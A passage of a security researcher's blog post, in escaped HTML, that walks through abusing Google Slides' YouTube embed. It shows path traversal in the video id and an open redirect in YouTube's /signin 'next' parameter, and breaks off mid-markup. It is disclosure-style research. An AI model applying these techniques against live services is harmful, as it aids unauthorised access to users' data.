class=&#34;sldsHbtn sldsHbtnBlue over640&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHpfp over360&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;sldsBody&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsSideLeft over640&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsFilmEntry&#34;&gt;&#xD;&#xA;                &lt;div class=&#34;sldsFilmText&#34;&gt;1&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsFilmSlide&#34;&gt;&#xD;&#xA;                    &lt;div style=&#34;text-align: center; filter: blur(0.4px)&#34;&gt;&#xD;&#xA;                        &lt;div style=&#34;padding-top: 25px; font-size: 9px; color: #000D&#34;&gt;Click to add title&lt;/div&gt;&#xD;&#xA;                        &lt;div style=&#34;font-size: 5.3px;color: #595959&#34;&gt;Click to steal your files&lt;/div&gt;&#xD;&#xA;                    &lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;sldsMain&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34;&gt;&#xD;&#xA;                &lt;div class=&#34;sldsSlideTextbox sldsSlideTextboxBig&#34; contenteditable=&#34;plaintext-only&#34;&gt;Click to add title&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsSlideTextbox sldsSlideTextboxSmall&#34; contenteditable=&#34;plaintext-only&#34;&gt;Click to steal your files&lt;!--Click to add subtitle--&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;h2 id=&#34;part-1-cat-videos&#34;&gt;Part 1: Cat videos&lt;/h2&gt;&#xA;&lt;p&gt;Who doesn&amp;rsquo;t love cat videos?&lt;/p&gt;&#xA;&lt;p&gt;Google Slides has this neat feature that lets you add YouTube videos to your presentations. Just open up the video picker, look for your favorite clip, and add it onto a slide.&lt;/p&gt;&#xA;&lt;p&gt;What appears is an iframe that links to &lt;span class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://www.youtube.com/embed/%7bVIDEOID%7d&#34;&gt;www.youtube.com/embed/{VIDEOID}&lt;/a&gt;&lt;/span&gt; with your cute cat video playing inside of it. Pretty neat! But can we do anything beyond just playing a video?&lt;/p&gt;&#xA;&lt;p&gt;Looking at the network traffic, it seems like adding a video onto a slide will send Slides the videoid, which it then uses to construct the embed URL for the iframe. We can&amp;rsquo;t control the full URL, just the videoid part. Can we still do something?&lt;/p&gt;&#xA;&lt;p&gt;The obvious thing to try here is path traversal - if we change the videoid to &lt;strong&gt;../&lt;/strong&gt;, the full url will be &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;&lt;a href=&#34;https://www.youtube.com/embed/../&#34;&gt;www.youtube.com/embed/../&lt;/a&gt;&lt;/span&gt;, which should turn into just &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;&lt;a href=&#34;https://www.youtube.com/&#34;&gt;www.youtube.com/&lt;/a&gt;&lt;/span&gt;, leading us straight to the YouTube home page. Let&amp;rsquo;s try it!&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#F9FBFD&#34; role=img aria-label=&#34;iframe within a slide, showing the error page: www.youtube.com refused to connect&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsMain&#34; style=&#34;margin:20px 10px&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;aspect-ratio:unset;height:420px&#34;&gt;&#xD;&#xA;                &lt;div style=&#34;width:94%;height:90%;margin:auto;overflow:hidden;border: 2px inset #EEE&#34; class=&#34;iframeError&#34;&gt;&#xD;&#xA;                    &lt;svg width=&#34;11&#34; height=&#34;14&#34; fill=&#34;#ACACAC&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xD;&#xA;                      &lt;rect y=&#34;0&#34; width=&#34;9&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect y=&#34;1&#34; width=&#34;1&#34; height=&#34;13&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;1&#34; y=&#34;13&#34; width=&#34;10&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;10&#34; y=&#34;2&#34; width=&#34;1&#34; height=&#34;11&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;9&#34; y=&#34;1&#34; width=&#34;1&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;6&#34; y=&#34;1&#34; width=&#34;1&#34; height=&#34;4&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;7&#34; y=&#34;4&#34; width=&#34;3&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;3&#34; y=&#34;3&#34; width=&#34;1&#34; height=&#34;2&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;3&#34; y=&#34;10&#34; width=&#34;1&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;4&#34; y=&#34;9&#34; width=&#34;3&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                      &lt;rect x=&#34;7&#34; y=&#34;10&#34; width=&#34;1&#34; height=&#34;1&#34;/&gt;&#xD;&#xA;                    &lt;/svg&gt;&#xD;&#xA;                    &lt;div&gt;&lt;b&gt;www.youtube.com&lt;/b&gt; refused to connect.&lt;/div&gt;&#xD;&#xA;                    &lt;!-- By default this &#34;refused to connect&#34; text should&#xD;&#xA;                         only be visible if you&#39;re hovering over it with&#xD;&#xA;                         your mouse, but I decided for the sake of clarity&#xD;&#xA;                         it&#39;d be good to have the message visible at all&#xD;&#xA;                         times for the blogpost. --&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .iframeError {&#xD;&#xA;        background: #DDD;&#xD;&#xA;        transition: background 0.2s ease-in-out;&#xD;&#xA;        color: #8F8F8F;&#xD;&#xA;        font-size: 15px;&#xD;&#xA;        font-family: &#39;Segoe UI&#39;, Tahoma, sans-serif;&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        justify-content: center;&#xD;&#xA;        align-items: center;&#xD;&#xA;        text-align: center;&#xD;&#xA;    }&#xD;&#xA;    .iframeError svg {&#xD;&#xA;        transform: scale(3);&#xD;&#xA;        margin-bottom: 30px;&#xD;&#xA;    }&#xD;&#xA;    .iframeError:hover {&#xD;&#xA;        color: #8F8F8F;&#xD;&#xA;        background: #EEE;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;To my surprise, it worked! We now have the YouTube homepage within this Slides iframe&amp;hellip; or at least an error page representing it. YouTube, like most modern webapps, disallows framing most of its pages to prevent clickjacking attacks. Of course, the &lt;strong&gt;/embed/&lt;/strong&gt; page is an exception because that page is intended to be embedded on other sites, but are there any other interesting &lt;strong&gt;www.youtube.com&lt;/strong&gt; pages we could frame?&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#F9FBFD&#34; role=img aria-label=&#34;iframe within a slide, containing a cat emoji&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsMain&#34; style=&#34;margin:20px 10px&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;aspect-ratio:unset;height:420px&#34;&gt;&#xD;&#xA;                &lt;div style=&#34;width:94%;height:90%;margin:auto;overflow:hidden;border: 2px inset #EEE;background:#FFF;text-align:center&#34;&gt;&#xD;&#xA;                    &lt;!-- I recreated this emoji SVG to optimize it a little, took it from ~2.86kiB to 1.23kiB. You can find the original at https://www.youtube.com/s/gaming/emoji/7ff574f2/emoji_u1f63a.svg&#xD;&#xA;                    In hindsight, I think the YouTube one looks better but I already put in the effort so :P --&gt;&#xD;&#xA;                    &lt;svg height=&#34;100%&#34; viewBox=&#34;0 0 128 128&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;g fill=&#34;#ffc022&#34;&gt;&lt;path d=&#34;m17.5 59s-9.77-28.5-2.53-46 32.9 17.6 32.9 17.6z&#34;/&gt;&lt;path d=&#34;m110 58s9.77-28.5 2.53-46-33.3 18.2-33.3 18.2z&#34;/&gt;&lt;/g&gt;&lt;g fill=&#34;#ffd1d1&#34;&gt;&lt;path d=&#34;m25 48s-7.24-5-5-25 20 15 20 15z&#34;/&gt;&lt;path d=&#34;m103 47s7.24-5 5-25-20 15-20 15z&#34;/&gt;&lt;/g&gt;&lt;ellipse cx=&#34;65&#34; cy=&#34;73&#34; rx=&#34;50&#34; ry=&#34;45&#34; fill=&#34;#ffc022&#34;/&gt;&lt;ellipse cx=&#34;41&#34; cy=&#34;65&#34; rx=&#34;6.6&#34; ry=&#34;8.15&#34;/&gt;&lt;ellipse cx=&#34;87&#34; cy=&#34;65&#34; rx=&#34;6.6&#34; ry=&#34;8.15&#34;/&gt;&lt;path d=&#34;m56 77.2c-0.05-2.86 4.06-4.24 7.95-4.3 3.89-0.07 8.07 1.2 8.12 4.06s-4.86 6.64-7.95 6.64-8.07-3.54-8.12-6.4z&#34;/&gt;&lt;path d=&#34;m52.5 90.2 11.2-6.52 12.2 7.53-12.3 7.91z&#34; fill=&#34;#EF7F9D&#34;/&gt;&lt;g fill=&#34;none&#34; stroke=&#34;#9E9E9E&#34; stroke-linecap=&#34;round&#34; stroke-miterlimit=&#34;10&#34; stroke-width=&#34;3&#34;&gt;&lt;path d=&#34;m2.4 70.4s9.31-1.69 20 3.95&#34;/&gt;&lt;path d=&#34;m2.31 83.2s8.21-3.72 19.2-1.76&#34;/&gt;&lt;path d=&#34;m5.5 94.4s7.82-5.18 17.8-6.06&#34;/&gt;&lt;path d=&#34;m125 68.3s-9.36-1.38-19.9 4.62&#34;/&gt;&lt;path d=&#34;m126 81.1s-8.33-3.44-19.3-1.11&#34;/&gt;&lt;path d=&#34;m123 92.4s-7.99-4.92-17.9-5.45&#34;/&gt;&lt;g stroke=&#34;#000&#34; stroke-width=&#34;4&#34;&gt;&lt;path d=&#34;m40.8 84.9s4.04 4.92 11.9 4.92c9.5 0 11.9-10.5 11.9-10.5&#34;/&gt;&lt;path d=&#34;m87.2 84.9s-4.04 4.92-11.9 4.92c-9.5 0-11.9-10.5-11.9-10.5&#34;/&gt;&lt;path d=&#34;m76.1 90.3s-3.37 7.99-11.8 7.99c-8.13 0-12.5-7.99-12.5-7.99&#34;/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;I looked into it for a bit, and found a bunch of framable resources on &lt;strong&gt;/s/&lt;/strong&gt;. We can have stuff like YouTube&amp;rsquo;s emoji and css/js source code inside of a presentation! Unfortunately, it doesn&amp;rsquo;t seem very useful for now, it&amp;rsquo;s just a fun trick we can do.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-2-redirects&#34;&gt;Part 2: Redirects&lt;/h2&gt;&#xA;&lt;p&gt;Open redirects are a genre of &amp;ldquo;vulnerabilities&amp;rdquo; that can redirect you to any other page. For example, visiting &lt;strong&gt;&lt;a href=&#34;https://www.google.com/url?q=https://lyra.horse&#34;&gt;google.com/url?q=https://lyra.horse&lt;/a&gt;&lt;/strong&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; will take you to &lt;strong&gt;&lt;a href=&#34;https://lyra.horse&#34;&gt;lyra.horse&lt;/a&gt;&lt;/strong&gt;. They are &lt;a href=&#34;https://bughunters.google.com/learn/invalid-reports/web-platform/navigation/6680364896223232/open-redirectors&#34;&gt;rarely considered&lt;/a&gt; to be real vulnerabilities because their impact is very limited - you&amp;rsquo;ll just be redirected from one page to another.&lt;/p&gt;&#xA;&lt;p&gt;Yet, as we&amp;rsquo;re stuck in an iframe on &lt;strong&gt;youtube.com&lt;/strong&gt;, an open redirect would be pretty lovely. Being able to navigate this Slides iframe to any website of our choice would let us do some very interesting stuff. So let&amp;rsquo;s find one!&lt;/p&gt;&#xA;&lt;p&gt;The first obvious place to look would be the external links around the site - such as the ones in video descriptions and comments. And indeed, clicking a link in the description of a video redirects us through a special &lt;strong&gt;/redirect&lt;/strong&gt; endpoint:&lt;/p&gt;&#xA;&lt;div class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbjdTaFRBeHRfSW95bkJDVmRGcl96VXV6MkNmd3xBQ3Jtc0tuOVg2b2ZsQVV6V3hpaUJfdXB0UWY2Z1A1bE1sUjlQeHZ4WlVYSzNVUXZBcUF0RFYzNHhLazVUUVFQM1Y5N3VGZEV4bmtCVWhmYXRwY05KWlEyY0w3ZHBBdDY5SEtBa1hpQXBkalpqT3liYzFqYVZxSQ&amp;q=https%3A%2F%2Flyra.horse%2F&amp;v=tbYxAFHnzG0&#34;&gt;https://www.youtube.com/redirect?event=video_description&amp;redir_token=&lt;span style=&#34;color:#666&#34;&gt;QUFFLUhqbjdTaFRBeHRfSW95bkJDVmRGcl96VXV6MkNmd3xBQ3Jtc0tuOVg2b2ZsQVV6V3hpaUJfdXB0UWY2Z1A1bE1sUjlQeHZ4WlVYSzNVUXZBcUF0RFYzNHhLazVUUVFQM1Y5N3VGZEV4bmtCVWhmYXRwY05KWlEyY0w3ZHBBdDY5SEtBa1hpQXBkalpqT3liYzFqYVZxSQ&lt;/span&gt;&amp;q=&lt;span style=&#34;color:#FFF&#34;&gt;https%3A%2F%2Flyra.horse%2F&lt;/span&gt;&amp;v=tbYxAFHnzG0&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The redirect works for now, but you&amp;rsquo;ll notice it has a &lt;em&gt;redir_token&lt;/em&gt; parameter - this parameter is some sort of a token for redirects that&amp;rsquo;s unique to your session. If someone else opened the same link, they&amp;rsquo;d see this page instead:&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;    .urlBar {&#xD;&#xA;        background: #3C3C3C;&#xD;&#xA;        height: 34px;&#xD;&#xA;        width: calc(100% - 12px);&#xD;&#xA;        padding: 6px;&#xD;&#xA;        /*border-radius: 4px;*/&#xD;&#xA;        font-family: system-ui, sans-serif;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        transition: background 0.4s;&#xD;&#xA;    }&#xD;&#xA;    .urlBarInner *::selection {&#xD;&#xA;        color: #000;&#xD;&#xA;        background-color: #A8C7FA;&#xD;&#xA;    }&#xD;&#xA;    .urlBarInner {&#xD;&#xA;        background: #282828;&#xD;&#xA;        color: #C7C7C7;&#xD;&#xA;        height: 34px;&#xD;&#xA;        border-radius: 17px;&#xD;&#xA;        width: 100%;&#xD;&#xA;        transition: background 0.2s, border-radius 0.2s, font-size 0.4s;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;    }&#xD;&#xA;    .urlBarInner:hover {&#xD;&#xA;        background: #4A4A4A;&#xD;&#xA;    }&#xD;&#xA;    .urlBarText {&#xD;&#xA;        text-overflow: ellipsis;&#xD;&#xA;        overflow:hidden;&#xD;&#xA;        white-space:nowrap;&#xD;&#xA;        display:inline-block;&#xD;&#xA;        margin-left:37px;&#xD;&#xA;        width: calc(100% - 36px - 16px);&#xD;&#xA;    }&#xD;&#xA;    .urlBarIcon {&#xD;&#xA;        width: 16px;&#xD;&#xA;        height: 16px;&#xD;&#xA;        margin: 5px;&#xD;&#xA;        fill: #E3E3E3;&#xD;&#xA;        background: #3C3C3C;&#xD;&#xA;        padding: 4px;&#xD;&#xA;        position: absolute;&#xD;&#xA;        display:block;&#xD;&#xA;        border-radius: 24px;&#xD;&#xA;    }&#xD;&#xA;    .urlBarIcon svg {&#xD;&#xA;        width: 16px;&#xD;&#xA;        height: 16px;&#xD;&#xA;    }&#xD;&#xA;    .urlBarDomain {&#xD;&#xA;        color: #E3E3E3;&#xD;&#xA;    }&#xD;&#xA;    @media (width &lt; 480px) {&#xD;&#xA;        .urlBar {&#xD;&#xA;            background: #121316;&#xD;&#xA;            font-size: 12px;&#xD;&#xA;        }&#xD;&#xA;        .urlBarInner {&#xD;&#xA;            background: #313745;&#xD;&#xA;            color: #C4C6D0;&#xD;&#xA;        }&#xD;&#xA;        .urlBarInner:hover {&#xD;&#xA;            background: #191C21;&#xD;&#xA;            border-radius: 8px;&#xD;&#xA;        }&#xD;&#xA;        .urlBarInner *::selection {&#xD;&#xA;            color: #E3E2E6;&#xD;&#xA;            background-color: #373E4D;&#xD;&#xA;        }&#xD;&#xA;        .urlBarText {&#xD;&#xA;            margin-left:26px;&#xD;&#xA;            width: calc(100% - 25px - 16px);&#xD;&#xA;        }&#xD;&#xA;        .urlBarIcon {&#xD;&#xA;            fill: #E3E2E6;&#xD;&#xA;            background: #0000;&#xD;&#xA;            padding-left: 1px;&#xD;&#xA;        }&#xD;&#xA;        .urlBarDomain {&#xD;&#xA;            color: #E3E2E6;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#FFF;height:480px&#34; role=figure aria-label=&#34;Browser window&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span class=&#34;urlBarDomain&#34;&gt;youtube.com&lt;/span&gt;/redirect?event=video_description&amp;redir_token=QUFFLUhqbjdTaFRBeHRfSW95bkJDVmRGcl96VXV6MkNmd3xBQ3Jtc0tuOVg2b2ZsQVV6V3hpaUJfdXB0UWY2Z1A1bE1sUjlQeHZ4WlVYSzNVUXZBcUF0RFYzNHhLazVUUVFQM1Y5N3VGZEV4bmtCVWhmYXRwY05KWlEyY0w3ZHBBdDY5SEtBa1hpQXBkalpqT3liYzFqYVZxSQ&amp;q=https%3A%2F%2Flyra.horse%2F&amp;v=tbYxAFHnzG0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;font-family: &#39;YouTube Noto&#39;, Roboto, &#39;Noto Sans&#39;, arial, sans-serif;font-size: 14px;display:flex;flex-direction:column;align-items:center;text-align:center;max-width:90%;margin:auto&#34; class=&#34;defSelect&#34;&gt;&#xD;&#xA;        &lt;!-- I admit, this YouTube logotype looks quite goofy with the fonts and CSS I used. --&gt;&#xD;&#xA;        &lt;div style=&#34;padding-top:24px;filter:blur(0.3px);user-select:none&#34;&gt;&lt;a href=&#34;https://www.youtube.com/&#34;&gt;&lt;svg height=&#34;28px&#34; style=&#34;display:inline-block&#34; viewBox=&#34;0 0 68 48&#34;&gt;&lt;path d=&#34;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&#34; fill=&#34;#f00&#34;&gt;&lt;/path&gt;&lt;path d=&#34;M 45,24 27,14 27,34&#34; fill=&#34;#fff&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;span style=&#34;display:inline-block;font-size:24px;color:#000;font-weight:900;transform:scaleX(0.93) translateY(1px) scaleY(1.2);vertical-align:super;line-height:0&#34;&gt;YouTube&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;font-size:24px;color:#000;font-weight:bold;padding-top:90px&#34;&gt;Are you sure you want to leave YouTube?&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;color:#888;padding-top:30px&#34;&gt;The link is taking you to a site outside of YouTube (&lt;b&gt;lyra.horse&lt;/b&gt;).&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;font-size: 12px;font-weight: 501;padding-top:42px&#34;&gt;&lt;a href=&#34;https://lyra.horse/&#34;&gt;&lt;span style=&#34;display:inline-block;padding:12px;color:#2793E6&#34;&gt;GO TO SITE&lt;/span&gt;&lt;/a&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=tbYxAFHnzG0&#34;&gt;&lt;span style=&#34;display:inline-block;padding:12px;color:#FFF;background:#2793E6;border-radius: 2px&#34;&gt;BACK TO YOUTUBE&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;It&amp;rsquo;d be difficult to convince someone to click through a page like that - and even so, we still wouldn&amp;rsquo;t be able to use it inside of our cross-origin iframe due to it having the &lt;em&gt;x-frame-options&lt;/em&gt; header set to &lt;em&gt;SAMEORIGIN&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The next obvious place to look for open redirects is usually the authentication flow of a website - generally sites want to return you to the same page you were on before logging in. It&amp;rsquo;s no different for YouTube, logging into a Google account takes you back to the page you were originally on. This is achieved through the &lt;strong&gt;/signin&lt;/strong&gt; endpoint:&lt;/p&gt;&#xA;&lt;div class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://www.youtube.com/signin?action_handle_signin=true&amp;app=desktop&amp;hl=en&amp;next=https%3A%2F%2Fwww.youtube.com%2F&amp;feature=passive&amp;hl=en&#34;&gt;https://www.youtube.com/signin?action_handle_signin=true&amp;app=desktop&amp;hl=en&amp;next=&lt;span style=&#34;color:#FFF&#34;&gt;https%3A%2F%2Fwww.youtube.com%2F&lt;/span&gt;&amp;feature=passive&amp;hl=en&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;This endpoint does redirects without using a verification token! We can just specify an url of our choice in the &lt;em&gt;next&lt;/em&gt; parameter and it&amp;rsquo;ll work. Let&amp;rsquo;s try it out with my website.&lt;/p&gt;&#xA;&lt;div class=&#34;ytErr&#34; role=figure aria-label=&#34;Browser window&#34;&gt;&#xD;&#xA;&lt;!-- I&#39;m reusing the CSS for the URL bar from my Telegram blog post, but this time I added a mobile theme for smaller screens to make it more cute! Also hover animations! --&gt;&#xD;&#xA;&lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span class=&#34;urlBarDomain&#34;&gt;youtube.com&lt;/span&gt;/signin?next=https://lyra.horse/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytAlert defSelect&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;ytAlertHeader&#34;&gt;Sorry, we found some errors:&lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;ytAlertContent&#34;&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;Invalid url forwarding parameter&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;Sorry, your login was incorrect.&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOops&#34;&gt;&#xD;&#xA;&lt;!-- I originally designed this part in pixels (566x375px), but I wanted it to be scalable and responsive so I wrote a script to find the most optimal relevant size (625x375px) for the nicest percentage point roundings and then converted everything to nice percentages. While some of these values do have repeating floating point, they&#39;re all pretty good cases (eg x.33333 and x.66666) so on a 1x scaled monitor at the original size it matches pixel-perfect to the old px values version. Also the corner radii for the screens are wrong on smaller screens because they don&#39;t get scaled but I think I&#39;m okay with that, phones are more round anyways :P. --&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:8.8%;top:90.4%;width:83.2%;height:1.6%; filter: blur(8px);&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:36%;top:5.87%;width:14.24%;height:18.67%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:50.4%;top:-0%;width:4%;height:12%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:51.2%;top:12.53%;width:9.44%;height:12.27%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:35.52%;top:26.13%;width:25.44%;height:27.2%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:23.04%;top:22.93%;width:11.52%;height:13.07%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:62.08%;top:23.2%;width:11.52%;height:13.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:63.68%;top:38.4%;width:18.08%;height:20%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div 